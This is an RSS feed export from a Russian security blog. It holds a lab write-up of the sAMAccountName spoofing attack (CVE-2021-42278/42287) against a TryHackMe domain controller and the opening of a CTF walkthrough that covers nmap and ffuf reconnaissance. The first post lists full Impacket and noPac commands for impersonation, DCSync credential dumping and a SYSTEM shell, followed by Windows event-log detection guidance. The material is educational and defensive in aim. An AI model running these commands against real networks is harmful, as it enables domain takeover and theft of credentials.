<?xml version="1.0" encoding="utf-8" ?><rss version="2.0" xmlns:tt="http://teletype.in/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>@cherepawwka</title><generator>teletype.in</generator><description><![CDATA[@cherepawwka]]></description><link>https://teletype.in/@cherepawwka?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=cherepawwka</link><atom:link rel="self" type="application/rss+xml" href="https://teletype.in/rss/cherepawwka?offset=0"></atom:link><atom:link rel="next" type="application/rss+xml" href="https://teletype.in/rss/cherepawwka?offset=10"></atom:link><atom:link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></atom:link><pubDate>Sat, 27 Jun 2026 09:27:41 GMT</pubDate><lastBuildDate>Sat, 27 Jun 2026 09:27:41 GMT</lastBuildDate><item><guid isPermaLink="true">https://teletype.in/@cherepawwka/sAMAccountName_spoofing</guid><link>https://teletype.in/@cherepawwka/sAMAccountName_spoofing?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=cherepawwka</link><comments>https://teletype.in/@cherepawwka/sAMAccountName_spoofing?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=cherepawwka#comments</comments><dc:creator>cherepawwka</dc:creator><title>Кто обзывается — тот SAM так называется</title><pubDate>Sat, 30 Nov 2024 01:51:20 GMT</pubDate><media:content medium="image" url="https://img4.teletype.in/files/7b/57/7b5712e7-2800-44b3-8f95-c3168b13be4e.png"></media:content><category>CyberSecurity</category><description><![CDATA[<img src="https://img3.teletype.in/files/a8/c2/a8c29d99-7c2f-4097-91f9-fe65b81cd4e8.jpeg"></img>SAMAccountName spoofing — знакомство с CVE-2021-42278 и CVE-2021-42287]]></description><content:encoded><![CDATA[
  <p id="yAP9">Всем привет!</p>
  <p id="ANvs">Не так давно на одном из проектов мне довелось встретиться лицом к лицу с небезызвестной уязвимостью, которая привлекла моё внимание. Хоть уязвимость давно изучена и на неё есть грамотные детекты, ни одно из правил корреляции не отработало, и среди тысяч событий на контроллере домена пришлось искать те, которые прямо или косвенно могут свидетельствовать о её эксплуатации. Почему так? Просто не на всех хостах бывает грамотно настроен аудит, который просто необходим для работы правил корреляции. Так было и в этом случае.</p>
  <p id="KGH4">Сегодня мы об этой уязвимости (а, точнее, о паре уязвимостей), которые могут помочь вам повысить привилегии с обычного пользователя до доменного администратора за несколько простых шагов.<br />Имя этому — <strong>sAMAccountName spoofing</strong>!</p>
  <p id="foTY"></p>
  <h2 id="Lh2n">Теория</h2>
  <p id="VqaR">В ноябре 2021 года внимание многих исследователей привлекли две уязвимости, поскольку их комбинация позволяет злоумышленнику повысить свои права до администратора домена, если в распоряжении атакующего есть скомпрометированная УЗ пользователя в домене.</p>
  <p id="jCrI">Суть уязвимости <strong>CVE-2021-42278</strong> (<strong>sAMAccountName spoofing</strong>) состоит в том, что по умолчанию пользователь может добавлять компьютеры в домен (до 10 узлов), а также изменять атрибут sAMAccountName добавленных компьютеров (а точнее их доменных учетных записей). Чтобы узнать, у кого есть права на добавление компьютеров в домен, необходимо проверить в групповых политиках настройку SeMachineAccountPrivilege в разделе Default Domain Controller Policy (<code>Computer Configuration\Windows Settings\Security Settings\User Rights Assignment\</code>). Данная уязвимость используется не сама по себе, а для эксплуатации уязвимости <strong>CVE-2021-42287</strong>, которая позволяет выдать скомпрометированный узел за контроллер домена.<br />Давайте поговорим об уязвимостях поподробнее.<br /></p>
  <h3 id="NfOk">1. CVE-2021-42278 — name impersonation</h3>
  <p id="pYD4">Как известно, учетные записи компьютеров должны иметь символ <code>$</code> в своем имени (имеется в виду атрибут <code>sAMAccountName</code>), но ранее не существовало процесса проверки, чтобы убедиться в этом.</p>
  <section style="background-color:hsl(hsl(236, 74%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="1GSm"><strong>Немного о sAMAccountName</strong><br />sAMAccountName — имя учетной записи SAM, предназначенное для совместимости со старыми операционными системами (до Windows 2000). Впрочем это не означает, что sAMAccountName не используется в качестве имени для входа в современных системах Windows. Значение атрибута sAMAccountName для УЗ должно быть уникальным в рамках домена, имеет ограничение в 20 символов и работает в сочетании с NETBIOS именем домена, например <strong>LAB\ivanov_ii</strong>. sAMAccountName является <strong>обязательным </strong>атрибутом пользователя.</p>
  </section>
  <h3 id="OKtE">2. CVE-2021-42287 — обман KDC</h3>
  <p id="1M9J">При запросе сервисного билета (ST, TGS) принципалу сначала требуется предоставить TGT. Если запрашиваемый в рамках билета сервис не найден KDC, KDC автоматически выполняет повторный поиск, добавляя символ <code>$</code> в конце имени. Иными словами, когда клиент запрашивает ST, контроллер сперва смотрит в предоставленный клиентом TGT. В случае, если KDC не обнаруживает среди объектов домена объекта с именем, указанным в TGT, контроллер добавляет символ <code>$</code> к этому имени и шифрует отправляемый TGS с использованием ключа объекта &quot;<code>name$</code>&quot;.</p>
  <p id="71DK">Так, уязвимость CVE-2021-42287 заключается в том, что при выполнении проверки подлинности Kerberos в случае, если TGS был запрошен для учетной записи, которую не удалось найти, KDC добавит к ней в конце <code>$</code> и попытается найти ее снова.<br />Представим ситуацию, когда скомпрометированный узел запросит ST с предоставлением TGT, полученного для учетной записи, <strong>названной так же, как и контроллер домена</strong>, а затем (перед запросом ST) переименованной, то ему будет выдан ST с правами контроллера домена, так как KDC не удастся сразу найти такую учетную запись, вместо этого он обнаружит УЗ с <code>$</code> на конце, которая и будет являться sAMAccountName контроллера домена.</p>
  <p id="IFhw">Звучит сложно и непонятно? Не переживайте, сейчас разберемся.</p>
  <p id="0P9W">В рамках атаки используется расширение Kerberos S4U2self. Расширение Kerberos S4U2self позволяет службе запрашивать билет от имени пользователя для себя, который затем можно использовать в S4U2proxy. Это сделано для того, чтобы разрешить делегирование Kerberos для тех клиентов, которые не поддерживают протокол Kerberos.</p>
  <p id="1Ks5"></p>
  <h2 id="9xjJ">Эксплуатация</h2>
  <p id="S8CI"><strong>Возможность редактирования атрибутов</strong> <code>sAMAccountName</code> и <code>servicePrincipalName</code> учетной записи компьютера для осуществления атаки <strong>является обязательным требованием</strong>.<br />Самый простой способ выполнить это требование — создать учетную запись компьютера (например, используя атрибут <a href="https://www.thehacker.recipes/a-d/movement/domain-settings/machineaccountquota" target="_blank">MachineAccountQuota</a> в случае, если он больше 0). Создатель новой учетной записи компьютера имеет достаточно привилегий для редактирования ее атрибутов. Если же MAQ равен нулю, альтернативный способ эксплуатации — получение контроля над владельцем/создателем учетной записи компьютера в рамках, например, горизонтального перемещения.<br />Для того чтобы определить, есть ли у этой УЗ права на добавление компьютеров в домен, воспользуемся инструментом windapsearch. Команда:</p>
  <pre id="lgRw" data-lang="bash">python3 windapsearch.py --dc [IP-адрес контроллера домена] -u [полное имя пользователя в домене] -p [пароль] --custom &#x27;(&amp;(objectClass=domain)(distinguishedName= [distinguishedName домена]))&#x27; --attrs ms-ds-machineAccountQuota</pre>
  <figure id="SdiG" class="m_original">
    <img src="https://img2.teletype.in/files/14/ae/14ae9fb8-7134-4173-b11a-388a0863a7fe.png" width="783" />
    <figcaption>MAQ по умолчанию в домене</figcaption>
  </figure>
  <p id="zjif">Атаку можно осуществить следующим образом:</p>
  <ol id="4InP">
    <li id="gZYe">1. Очистить атрибут <code>servicePrincipalName</code> учетной записи контролируемой машины от любого значения, указывающего на ее имя (например <code>host/machine.domain.local</code>, <code>RestrictedKrbHost/machine.domain.local</code>);</li>
    <li id="ioNZ">Изменить атрибут <code>sAMAccountName</code> учетной записи контролируемой машины на имя контроллера домена без завершающего символа <code>$</code>, что возможно благодаря CVE-2021-42278;</li>
    <li id="EAWG">Запросить TGT для УЗ контролируемой машины;</li>
    <li id="YjOQ">Изменить <code>sAMAccountName</code> учетной записи контролируемой машины до ее первоначального значения (или любого другого, отличного от имени контроллера домена без конечного <code>$</code>);</li>
    <li id="ME1l">Запросить S4U2self ST, предъявив полученный ранее TGT, где вступает в бой CVE-2021-42287;</li>
    <li id="BON5">Получить доступ к контроллеру домена (например, DCSync или шелл).</li>
  </ol>
  <p id="gbvF">В рамках подготовки материала я развернул уязвимую лабораторию, состоящую из одного контроллера домена и атакующей машины с Kali, однако, чтобы у каждого из вас была возможность при желании повторить эту атаку, я переписал материал под уязвимую машину Enterprise с TryHackMe. Эксплуатация этой уязвимости — незапланированный вектор решения этой комнаты, и мы рассматриваем его только в обучающих целях.</p>
  <p id="3cUk">Полный перечень команд, которыми осуществлялась успешная эксплуатация, приведу сразу ниже:</p>
  <pre id="jUTh" data-lang="bash"># Создаём УЗ компьютера при помощи Impacket
impacket-addcomputer -computer-name &#x27;mypc$&#x27; -computer-pass &#x27;P@ssw0rd&#x27; -dc-host LAB-DC -domain-netbios LAB &#x27;LAB.ENTERPRISE.THM/nik:ToastyBoi!&#x27;

# Переименовывем УЗ компьютера, выбираем имя контроллера домена без $
./renameMachine.py -current-name &#x27;mypc$&#x27; -new-name &#x27;LAB-DC&#x27; -dc-ip &#x27;LAB-DC.LAB.ENTERPRISE.THM&#x27; &#x27;LAB.ENTERPRISE.THM&#x27;/&#x27;nik&#x27;:&#x27;ToastyBoi!&#x27;

# Запрашиваем TGT для нашего ПК lab-dc
impacket-getTGT -dc-ip &#x27;LAB-DC.LAB.ENTERPRISE.THM&#x27; &#x27;LAB.ENTERPRISE.THM&#x27;/&#x27;LAB-DC&#x27;:&#x27;P@ssw0rd&#x27;

# Сбрасываем имя УЗ компьютера на первоначальное (или любое)
./renameMachine.py -current-name &#x27;LAB-DC&#x27; -new-name &#x27;mypc$&#x27; -dc-ip &#x27;LAB-DC.LAB.ENTERPRISE.THM&#x27; &#x27;LAB.ENTERPRISE.THM&#x27;/&#x27;nik&#x27;:&#x27;ToastyBoi!&#x27;

# Получаем ST с S4U2self, предоставляя полученный на 3 шаге TGT:
KRB5CCNAME=&#x27;LAB-DC.ccache&#x27; python3 getST.py -self -impersonate &#x27;banana&#x27; -altservice &#x27;cifs/LAB-DC.LAB.ENTERPRISE.THM&#x27; -k -no-pass -dc-ip &#x27;LAB-DC.LAB.ENTERPRISE.THM&#x27; &#x27;LAB.ENTERPRISE.THM&#x27;/&#x27;LAB-DC&#x27;

# pwned?
KRB5CCNAME=&#x27;banana@cifs_LAB-DC.LAB.ENTERPRISE.THM@LAB.ENTERPRISE.THM.ccache&#x27; impacket-secretsdump -k -no-pass LAB-DC.LAB.ENTERPRISE.THM -dc-ip LAB-DC.LAB.ENTERPRISE.THM
</pre>
  <p id="r8ML"></p>
  <h3 id="LnYm">Демонстрация атаки</h3>
  <p id="84cE">Пусть у нас есть уязвимый контроллер домена:</p>
  <figure id="DF19" class="m_original">
    <img src="https://img1.teletype.in/files/c0/f2/c0f2e749-d2ed-462f-af20-4a5175dab273.png" width="765" />
    <figcaption>Результат сканирования цели nmap</figcaption>
  </figure>
  <p id="xoEY">Набор портов говорит о том, что это DC (иначе откуда там LDAP, Kerberos, DNS и т.п.). Поскольку мы будем абъюзить Kerberos, добавляем запись в hosts:<br /><code>10.10.89.250 LAB-ENTERPRISE LAB-DC.LAB.ENTERPRISE.THM LAB-DC</code></p>
  <p id="jK5w">На текущем этапе мы уже взяли первого пользователя (например, отравили WPAD и нашли жертву, которая ввела пароль в Basic Auth), и нам известны его креды: <code>LAB.ENTERPRISE.THM/nik:ToastyBoi!</code></p>
  <p id="ZFoh">Проверим, что пользователь валидный, а заодно перечислим всех пользователей в домене. Для этого я буду использовать CrackMapExec:</p>
  <figure id="Yd29" class="m_original">
    <img src="https://img2.teletype.in/files/1a/3a/1a3a4054-6c96-40f4-8e96-7b9f74022625.png" width="1017" />
    <figcaption>CME с нашим пользвателем</figcaption>
  </figure>
  <p id="ypv6">Мы мало что понимаем об их сущности, так что давайте осуществим перечисление домена при помощи LDAP (эту активность, как синей команде, нам помогает найти событие 1644 на контроллере домена):</p>
  <pre id="hq7q" data-lang="bash">ldapdomaindump -u &#x27;LAB.ENTERPRISE.THM\nik&#x27; -p &#x27;ToastyBoi!&#x27; -d LAB.ENTERPRISE.THM LAB-DC.LAB.ENTERPRISE.THM</pre>
  <figure id="KHqW" class="m_original">
    <img src="https://img2.teletype.in/files/50/68/50685f97-3b6b-4f92-a9b0-a74f544a1c29.png" width="1594" />
    <figcaption>Результат LdapdomainDump</figcaption>
  </figure>
  <p id="BuS4">ldapdomaindump даёт очень красивый результат, и мы можем подробнее познакомиться с нашими пользователями.</p>
  <p id="ztke">Мне приглянулся юзер banana, и у него есть определенные привилегии относительно DC. Почему banana? Да я просто чилловый парень и люблю бананы:</p>
  <figure id="pD3S" class="m_original">
    <img src="https://img1.teletype.in/files/08/28/08283974-a977-4e2c-9959-d4aff9f9058b.png" width="443" />
  </figure>
  <p id="0Mcu">Нам нужно будет олицетворить этого пользователя, не зная его пароль и вообще ничего о нем. Получится? Давайте посмотрим!</p>
  <p id="BhZj">Добавим объект компьютера в домен с определённым логином и паролем. Они могут быть любыми, но для красоты и простоты не будем усложнять:</p>
  <figure id="0DVj" class="m_original">
    <img src="https://img4.teletype.in/files/f5/9b/f59b6b6e-d083-47b3-b8a5-67a159820d14.png" width="1076" />
    <figcaption>Добавление УЗ компьютера и её переименование</figcaption>
  </figure>
  <p id="y3Hm">Тут же при помощи скрипта renameMachine изменяем ему имя на имя, соответствующее контроллеру домена: LAB-DC.LAB.ENTERPRISE.THM.<br />Недостающий скрипт качаем <a href="https://github.com/ShutdownRepo/impacket/tree/CVE-2021-42278/examples" target="_blank">отсюда</a>.</p>
  <p id="R5Tf">Далее запрашиваем TGT для заведённой нами УЗ компьютера. Благо, сделать это нетрудно, так как мы знаем пароль:</p>
  <figure id="kna4" class="m_original">
    <img src="https://img4.teletype.in/files/f3/95/f395db8a-41b3-4e66-ad15-8ef28e907b80.png" width="1075" />
    <figcaption>Запрос TGT и переименование УЗ нашего компьютера</figcaption>
  </figure>
  <p id="SvYb">После получения TGT меняем имя компьютера, чтобы при запросе сервисного билета SAM lab-dc найден не был, и повторный поиск был осуществлён для <code>lab-dc$</code> (а это УЗ контроллера домена).</p>
  <p id="GKNF">Используя TGT, запрашиваем TGS при помощи скрипта getST.py. На этом этапе может возникнуть проблема (Impacket может не знать свитч <code>-self</code>, поэтому используем скрипт, где эта опция точно есть). Скачать его можно <a href="https://github.com/fortra/impacket/pull/1202/files%5C" target="_blank">здесь.</a></p>
  <p id="8J7E">Если нет понимания, куда тыкать, забираем напрямую при помощи wget: </p>
  <pre id="HLhH" data-lang="bash">wget https://github.com/ShutdownRepo/impacket/blob/2fc02e655bd799465fa62d235905263b00cf2db3/examples/getST.py</pre>
  <figure id="JuVv" class="m_original">
    <img src="https://img3.teletype.in/files/ac/3c/ac3c56c3-d6e9-4f24-a289-e90c92c47fe8.png" width="1093" />
    <figcaption>Запрос билета и имперсонификация пользователя banana</figcaption>
  </figure>
  <p id="MOHJ">Сразу же после запроса сервисного билета осуществляем DCSync:</p>
  <figure id="89aD" class="m_original">
    <img src="https://img4.teletype.in/files/fc/b9/fcb9630b-a9de-49fc-89fb-0b82ff84be71.png" width="1090" />
    <figcaption>DCSync!</figcaption>
  </figure>
  <p id="FByo"></p>
  <h2 id="O41i">Автоматизация действий</h2>
  <p id="IK6I">До сих пор кажется, что, как будто бы, каждый раз проделывать такой трюк довольно сложно. Тем более пытаться разобраться в работе скриптов, которые нужно скачивать с гитхаба.<br />На помощь приходит скрипт noPac, который проделывает все эти шаги за вас!<br />Синтаксис у него очень похож на синтаксис Impacket:</p>
  <pre id="xz5r" data-lang="bash">python3 /opt/noPac/noPac.py LAB.ENTERPRISE.THM/nik:&#x27;ToastyBoi!&#x27; -dc-ip 10.10.89.250 -dc-host LAB-DC -shell --impersonate administrator -use-ldap</pre>
  <p id="AU2y">В результате мы можем получить тикет от имени любой УЗ в домене на право доступа к контроллеру домена. Да, и билет мы можем получить, не зная об учетной записи ничего кроме её имени. В идеале нас интересует УЗ администратора домена.<br />Давайте проделаем атаку и имперсонируем себя непривилегированным пользователем:</p>
  <figure id="tEh7" class="m_original">
    <img src="https://img4.teletype.in/files/bf/f9/bff9b867-724e-4470-abdd-85d52de6dc84.png" width="1092" />
    <figcaption>Ошибка доступа...</figcaption>
  </figure>
  <p id="4kRI">Действительно, атака была неудачная.</p>
  <p id="lbKW">Но стоит нам взять администратора:</p>
  <figure id="05pd" class="m_original">
    <img src="https://img3.teletype.in/files/a6/cd/a6cde936-ba3d-470b-9cbb-96c6465906aa.png" width="1090" />
    <figcaption>Запуск Whoami от системы на DC!</figcaption>
  </figure>
  <p id="6Mz6">И мы получаем шелл от имени SYSTEM на узле контроллера домена, что открывает дальнейший простор для атаки, по сути означая компрометацию всего домена!</p>
  <p id="ypef">Если присмотреться, то этапность атаки та же самая, только в начале есть ещё одна проверка — проверка MAQ, о которой я говорил в самом начале.</p>
  <p id="oZgw"></p>
  <h2 id="roBL">Обнаружение</h2>
  <p id="z6BP">Для демонстрации атаки в журналах Windows на уже скомпрометированной машине я завёл логирование и очистил логи. После успешной эксплуатации вытащил журнал, и всё для того, чтобы показать результаты вам!<br />Давайте поэтапно пройдемся по всем шагам атаки.</p>
  <p id="UO9o">Анализ атаки стоит начинать с поиска успешных входов. В данном случае мы получаем информацию о скомпрометированной УЗ и адресе источника атаки.</p>
  <h3 id="OdxP">4624 — событие успешного входа</h3>
  <figure id="rsNo" class="m_original">
    <img src="https://img3.teletype.in/files/ee/ed/eeedeb26-64bd-4313-aca5-4df6403fd288.png" width="835" />
    <figcaption>Событие 4624</figcaption>
  </figure>
  <p id="wW9f">Входов будет несколько, и первый их них связан с получением атрибута MAQ.<br />Нас же интересует второй вход:</p>
  <figure id="0SMC" class="m_original">
    <img src="https://img2.teletype.in/files/55/bd/55bd1f8e-2ecb-4ce9-8735-84cce50cc06b.png" width="513" />
  </figure>
  <p id="7zB2"></p>
  <h3 id="Lvt0">4741 — событие создание УЗ компьютера</h3>
  <figure id="SeMY" class="m_original">
    <img src="https://img1.teletype.in/files/0f/cd/0fcd9a8a-8765-4723-8ff9-31c5af211cfe.png" width="680" />
    <figcaption>Событие 4741</figcaption>
  </figure>
  <p id="UTyJ">Здесь мы обращаем внимание на имя создаваемого ПК, его ID, атрибут SAM Account Name, а также пользователя и ID сессии. Это помогает нам скоррелировать это событие с событием успешного входа, где виден IP-адрес источника атаки.<br />Рядом будет событие 4724 о сбросе пароля от УЗ компьютера — 4724, но оно нам не очень интересно (хотя видно, что это один из этапов атаки).</p>
  <figure id="7djC" class="m_original">
    <img src="https://img1.teletype.in/files/8f/bd/8fbd4f07-bff0-4b9d-865b-9bc57eeefcee.png" width="650" />
    <figcaption>Событие 4724</figcaption>
  </figure>
  <p id="bLmD"></p>
  <h3 id="7gIB">4742 — изменение УЗ компьютера, 4781 — изменение имени УЗ</h3>
  <p id="4v5r">После добавления компьютера, очистки атрибутов его УЗ и изменения пароля, мы должны увидеть событие изменения имени учетной записи. Новое имя учетной записи SAM должно совпадать с именем DC (в нашем случае LAB-DC). В этом нам поможет событие 4742:</p>
  <figure id="fkPH" class="m_original">
    <img src="https://img2.teletype.in/files/1d/fa/1dfa5fcf-af7c-4006-bcbe-d5c28c75b786.png" width="593" />
    <figcaption>Событие 4742</figcaption>
  </figure>
  <p id="7NBH">Здесь мы обращаем внимание на SID изменяемой учетной записи, пользователя, ID-сессии и новое имя.<br />Помимо события 4742 поможет событие об изменении имени УЗ — 4781.</p>
  <figure id="K9to" class="m_original">
    <img src="https://img3.teletype.in/files/e2/1e/e21e6bb1-8462-4282-b9cd-6c9ddc264cf3.png" width="591" />
    <figcaption>Событие 4781</figcaption>
  </figure>
  <p id="GY6l"></p>
  <h3 id="APQp">4768 — запрос TGT</h3>
  <p id="DzoZ">После переименования УЗ подконтрольного компьютера для неё должен быть запрошен TGT. Это нам покажет событие 4768:</p>
  <figure id="QV9X" class="m_original">
    <img src="https://img4.teletype.in/files/79/f4/79f48049-d9a6-43b9-a7b7-0fc6a1729e84.png" width="670" />
    <figcaption>Событие 4768</figcaption>
  </figure>
  <p id="zfAu">Что нам интересно здесь:</p>
  <ol id="r8yC">
    <li id="Zvl9">Имя УЗ, для которой запрашивается билет (совпадает с именем DC, но без <code>$</code>);</li>
    <li id="Vtsc">Источник;</li>
    <li id="t5oN">SID УЗ (это SID созданного компьютера);</li>
    <li id="kjim">Тип шифрования билета (он отличается от привычного для Impacket 0x17).</li>
  </ol>
  <p id="VAXv"></p>
  <h3 id="pHdA">4742 — изменение УЗ компьютера, 4781 — изменение имени УЗ</h3>
  <p id="OTby">После успешного запроса TGT УЗ компьютера должна быть снова переименована, и обнаружить это помогают события 4742 и 4781, уже известные нам:</p>
  <figure id="fXGA" class="m_original">
    <img src="https://img2.teletype.in/files/57/1c/571cf598-bc0e-41da-8a2c-606be63d09cc.png" width="674" />
  </figure>
  <figure id="WSU5" class="m_original">
    <img src="https://img4.teletype.in/files/f6/bd/f6bd55d4-3615-41d7-b76c-7f11ccab4c45.png" width="604" />
  </figure>
  <p id="N022"></p>
  <h3 id="Fxl4">4769 — запрос TGS</h3>
  <p id="PbvO">Следующим этапом идёт запрос TGS с использованием ранее выданного TGT. Здесь на помощь приходит событие 4769:</p>
  <figure id="qdu0" class="m_original">
    <img src="https://img2.teletype.in/files/1f/c7/1fc79728-d1ce-4687-a379-ccccd3858173.png" width="677" />
  </figure>
  <p id="wDfN">Здесь стоит обратить внимание на имя учетной записи, а также на источник, с которого идёт запрос. Это помогает нам скоррелировать указанное событие с ранее наблюдаемыми.</p>
  <p id="0Ftp"></p>
  <h3 id="LCa7">4624 — событие успешного входа, 4672 — привилегированный вход</h3>
  <p id="eLBV">В рамках атаки я старался получить TGS для другой учетной записи — banana. К сожалению, эта информация не отображена в событии запроса TGS, но сразу же после запроса билета мы наблюдаем событие успешной аутентификации по протоколу Kerberos, а также назначенные привилегии (благодаря аудиту события 4672):</p>
  <figure id="tthl" class="m_original">
    <img src="https://img1.teletype.in/files/cb/1f/cb1f9d35-4f10-4e7d-95d4-e8dfbe33444b.png" width="539" />
  </figure>
  <figure id="lWzM" class="m_original">
    <img src="https://img3.teletype.in/files/27/bf/27bf85d8-fcca-453a-8bb9-d8719c51c327.png" width="579" />
  </figure>
  <p id="4Oj4">Дальнейшие события были связаны с исполнением команд на контроллере. Осуществляется это исполнение через удалённое создание служб:<br />Событие 5145 (доступ к шаре):</p>
  <figure id="J6GJ" class="m_original">
    <img src="https://img2.teletype.in/files/d1/1b/d11bc4e1-b570-4e8b-b8fc-32ac214b118d.png" width="632" />
  </figure>
  <p id="U6vr">Событие 4697 (создание службы, используемого для исполнения команд):</p>
  <figure id="GPQJ" class="m_original">
    <img src="https://img2.teletype.in/files/d8/83/d883b2c4-d5de-4a8a-b11b-fce65806a51a.png" width="765" />
  </figure>
  <p id="4l7S">Событие 4688 (создание процесса):</p>
  <figure id="9aVS" class="m_original">
    <img src="https://img4.teletype.in/files/77/b1/77b1fbfa-67bb-421b-98cd-bd8efd501dc9.png" width="755" />
  </figure>
  <p id="I5Mf">Результат исполнения команды отображается в <code>\\127.0.0.1\ADMIN$\__output</code>, и несложно понять, что следующим событием будет подключение к ресурсу <code>ADMIN$</code> к файлу <code>__output</code>:</p>
  <p id="M7rt">Ниже видна запись в этот файл:</p>
  <figure id="29N6" class="m_original">
    <img src="https://img4.teletype.in/files/ba/08/ba084471-d453-46b7-ba2d-81b21bbd8f8b.png" width="632" />
  </figure>
  <p id="WxIS">Удаленное чтение файла:</p>
  <figure id="9BBE" class="m_original">
    <img src="https://img4.teletype.in/files/77/51/77516a4a-743b-47e4-bde2-db0effb9de1e.png" width="592" />
  </figure>
  <p id="h8xF">И его удаление:</p>
  <figure id="Hqdy" class="m_original">
    <img src="https://img3.teletype.in/files/2d/38/2d3856c3-635b-45ee-9e59-4741b923efaa.png" width="636" />
  </figure>
  <p id="zYYc">На этом увлекательное путешествие по этим уязвимостям подошло к концу. Надеюсь, вы узнали для себя что-то новое!</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@cherepawwka/app_armor_privesc</guid><link>https://teletype.in/@cherepawwka/app_armor_privesc?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=cherepawwka</link><comments>https://teletype.in/@cherepawwka/app_armor_privesc?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=cherepawwka#comments</comments><dc:creator>cherepawwka</dc:creator><title>История одного привеска: AppArmor</title><pubDate>Fri, 27 Sep 2024 08:20:36 GMT</pubDate><media:content medium="image" url="https://img3.teletype.in/files/2e/d0/2ed018d1-0747-4c79-b031-037e246d5560.png"></media:content><category>CyberSecurity</category><description><![CDATA[<img src="https://img1.teletype.in/files/4e/c4/4ec4f0c7-8792-4293-833d-8f7411eb567e.png"></img>Поговорим о том, как неверно сконфигурированный профиль AppArmor позволяет обойти ограничения безопасности и привести к полной компрометации системы.]]></description><content:encoded><![CDATA[
  <h2 id="Io8e">Предисловие</h2>
  <p id="t2NZ">Всем привет! С началом ведения этого канала (который по сути был заметками энтузиаста, желающего как можно скорее вкатиться в ИБ) я делал немало материалов, где делился информацией, полученной в ходе решения тех или иных CTF. Суть была проста: не просто показать решение, а ещё и привести к нему необходимую теорию, чтобы читающий мог полностью понять контекст той или иной уязвимости. Сейчас времени на решение CTF стало меньше, интересные кейсы из жизни обрастают NDA, в силу чего до канала не доходит всё то, чем бы я так хотел поделиться. Но периодически я всё же возвращаюсь к решению тасков, и об одном из них сегодня пойдёт речь. Этот материал, как и весь материал в канале, призван научить вас чему-то новому, рассказать о том, что многие, возможно, не знали или не слышали. А для тех, кто знал или слышал, взглянуть на мою (или уже <strong>нашу</strong>) точку зрения при решении вопроса. Почему нашу? Этот материал я писал не один, а вместе с <a href="https://t.me/collapsz" target="_blank">@</a><a href="https://t.me/fefuctf" target="_blank">collapsz</a>, одним из моих учеников, которого я своё время вдохновил на поедание питсы🍕 (и изучение кибербеза). Не будем долго тянуть и приступим!</p>
  <h2 id="Gwju">Введение</h2>
  <p id="Il2H">Сегодняшний материал — это тоже своеобразная заметка, сформированная после решения таска на одной из платформ. Мы будем препарировать <a href="https://tryhackme.com/r/room/publisher" target="_blank">Publisher</a>, комнату с THM.</p>
  <figure id="TNQk" class="m_column">
    <img src="https://img4.teletype.in/files/f4/8d/f48d1448-b45b-4e51-825c-0c80b674aa8a.png" width="2832" />
  </figure>
  <p id="tK52">Для решения этой комнаты нам потребуется базовый набор инструментов:</p>
  <ul id="qYQi">
    <li id="N1Nc">ffuf;</li>
    <li id="9djS">BurpSuite (опционально);</li>
    <li id="Bu6L"><a href="https://github.com/nuts7/CVE-2023-27372" target="_blank">Эксплоит с GitHub;</a></li>
    <li id="nB1X">IDA (да, это не шутка);</li>
    <li id="9YxQ">LinPEAS.</li>
  </ul>
  <p id="xi3C">Поехали разбираться!</p>
  <h2 id="kqQn">Первоначальный доступ</h2>
  <p id="fuzU">Спавним машинку, и первым делом, само собой, запускаем сканирование портов</p>
  <ul id="7bB8">
    <li id="JWhV">используем nmap с флагами -sC и -sV для определения сервисов и их версий;</li>
    <li id="qcPs">результат записываем в файл nmap_initial.</li>
  </ul>
  <pre id="lEJ3" data-lang="bash">sudo nmap -sC -sV 10.10.177.241 &gt; nmap_initial</pre>
  <p id="S4Hg">На выводе получаем стандартный набор портов – 80 и 22. Видим, что на 80 порту крутится Apache 2.4.41, а на 22 – OpenSSH 8.2p1.</p>
  <pre id="c5J9" data-lang="bash">Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-01 03:31 EDT
Nmap scan report for 10.10.177.241
Host is up (0.18s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_  256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Publisher&#x27;s Pulse: SPIP Insights &amp; Tips
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.68 seconds</pre>
  <p id="qB3U">Никаких задокументированных уязвимостей, которые могли бы нам помочь проломить вэб, на эту версии ПО нет, а на 22 порту нас, очевидно, никто не ждет, поэтому отправимся изучать 80, предварительно закинув адрес и доменное имя машины в hosts.</p>
  <pre id="9AnT" data-lang="bash">sudo echo &quot;10.10.200.194 publisher.thm&quot; | sudo tee -a /etc/hosts</pre>
  <p id="yxgS">На 80 порту нас встречает полностью неинтерактивный лендинг CMS Spip, ловить здесь особо нечего, исходный код страниц тоже ничего интересного не расскажет.</p>
  <figure id="gI6E" class="m_column">
    <img src="https://img2.teletype.in/files/d4/07/d4075915-4f57-4d76-a856-015de71379c4.png" width="3600" />
  </figure>
  <p id="g82O">Попробуем поискать директории</p>
  <pre id="Z1ON" data-lang="bash">ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://publisher.thm/FUZZ</pre>
  <p id="v7Y1">Находим директорию /spip:</p>
  <figure id="Aeqc" class="m_column">
    <img src="https://img2.teletype.in/files/d6/6a/d66ab073-bedf-45c4-b48c-15011cea4acf.png" width="3594" />
  </figure>
